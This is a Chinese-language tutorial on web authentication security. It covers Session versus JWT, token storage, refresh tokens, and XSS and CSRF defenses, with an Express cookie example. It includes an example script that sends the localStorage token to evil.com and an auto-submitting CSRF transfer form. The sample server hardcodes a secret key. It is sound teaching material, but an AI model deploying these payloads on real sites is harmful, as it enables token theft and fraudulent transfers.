在前幾章中,我們已經完成了密碼加密(bcrypt
)與登入驗證(JWT
)的實作。
假設沒有安全的登入機制,駭客只要偷走 Token,就能假冒使用者、發送 API、甚至操作你的資料庫。
今天的文章說明,要來理解:
登入後,我們要「讓伺服器記得使用者是誰」。這有兩種主流作法:
項目 | Session | JWT |
---|---|---|
儲存位置 | 伺服器(記憶體或 Redis) | 客戶端(Cookie 或 LocalStorage) |
狀態性 | 有狀態 (Stateful) – 伺服器必須記得使用者 | 無狀態 (Stateless) – Token 自帶身分資訊 |
驗證方式 | 查表比對 Session ID | 驗證 Token 簽章 |
可擴展性 | 多伺服器需共享 Session | Token 可跨伺服器使用 |
適合場景 | 傳統伺服器渲染網站 | 前後端分離、行動 App、微服務架構 |
簽發的 JWT 要放哪裡?這個決定影響整個系統的安全性。
儲存位置 | 優點 | 缺點 |
---|---|---|
LocalStorage | 操作簡單、方便 | 可能被 XSS 攻擊 竊取 Token |
HttpOnly Cookie | 無法被 JS 讀取,安全性高 | 若設定錯誤,可能遭 CSRF 攻擊 |
為了防止 Token 被竊取後長期有效,我們會使用「雙 Token 機制」:
一個短期的 Access Token + 一個長期的 Refresh Token。
類型 | 有效期 | 儲存位置 | 用途 |
---|---|---|---|
Access Token | 10 分鐘 | Cookie 或 LocalStorage | 存取 API |
Refresh Token | 7 天 | HttpOnly Cookie | 更新 Access Token |
流程:
1️⃣ 登入後簽發兩個 Token。
2️⃣ Access Token 過期 → 前端用 Refresh Token 呼叫 /refresh
。
3️⃣ 驗證通過 → 發新 Access Token。
駭客怎麼攻擊?
假設你的留言板允許輸入 HTML,駭客可以這樣放一段惡意程式碼:
<script>
fetch('https://evil.com/steal?token=' + localStorage.getItem('token'))
</script>
一旦有訪客載入該頁面,這段程式就會執行並把 Token 傳給駭客。
防禦策略:
駭客怎麼攻擊?
假設使用者登入了你的銀行網站(有 Cookie Token),
駭客寄封信給他,內含這段隱藏表單:
<form action="https://bank.com/api/transfer" method="POST">
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="to" value="attacker" />
<script>document.forms[0].submit()</script>
</form>
瀏覽器會自動帶上 Cookie(因為同域),結果使用者的錢就被轉走了
防禦策略:
設定 Cookie 屬性:
res.cookie("token", token, {
httpOnly: true,
sameSite: "strict",
secure: true, // 僅限 HTTPS
});
屬性 | 說明 |
---|---|
HttpOnly | 瀏覽器無法用 JS 讀取 Cookie,防止 XSS。 |
SameSite | 限制跨站 Cookie 傳送。Strict 最安全、Lax 適合登入頁。 |
Secure | 只在 HTTPS 傳送 Cookie。 |
import express from "express";
import cors from "cors";
import cookieParser from "cookie-parser";
import jwt from "jsonwebtoken";
const app = express();
app.use(express.json());
app.use(cookieParser());
// ✅ CORS 設定
app.use(cors({
origin: "http://localhost:5173",
credentials: true,
}));
const SECRET = "mysecretkey";
// 登入:簽發 Token 並放進 Cookie
app.post("/login", (req, res) => {
const { email } = req.body;
const token = jwt.sign({ email }, SECRET, { expiresIn: "10m" });
res.cookie("token", token, {
httpOnly: true,
sameSite: "strict",
secure: false,
});
res.json({ message: "登入成功" });
});
// 驗證:取出 Cookie 中的 Token
app.get("/profile", (req, res) => {
const token = req.cookies.token;
if (!token) return res.status(401).json({ error: "未登入" });
jwt.verify(token, SECRET, (err, decoded) => {
if (err) return res.status(403).json({ error: "Token 無效或過期" });
res.json({ message: "登入中", user: decoded });
});
});
// 登出
app.post("/logout", (req, res) => {
res.clearCookie("token");
res.json({ message: "登出成功" });
});
app.listen(3000, () => console.log("✅ Server 啟動:http://localhost:3000"));
主題 | 重點說明 |
---|---|
Session vs JWT | Session 適合傳統網站,JWT 適合前後端分離 |
Token 儲存策略 | 優先使用 HttpOnly Cookie,避免 XSS |
XSS 防禦 | 避免 JS 存取 Token,開啟 CSP |
CSRF 防禦 | SameSite=Strict + CSRF Token 雙重驗證 |
雙 Token 策略 | Access 短期、Refresh 長期,自動續期更安全 |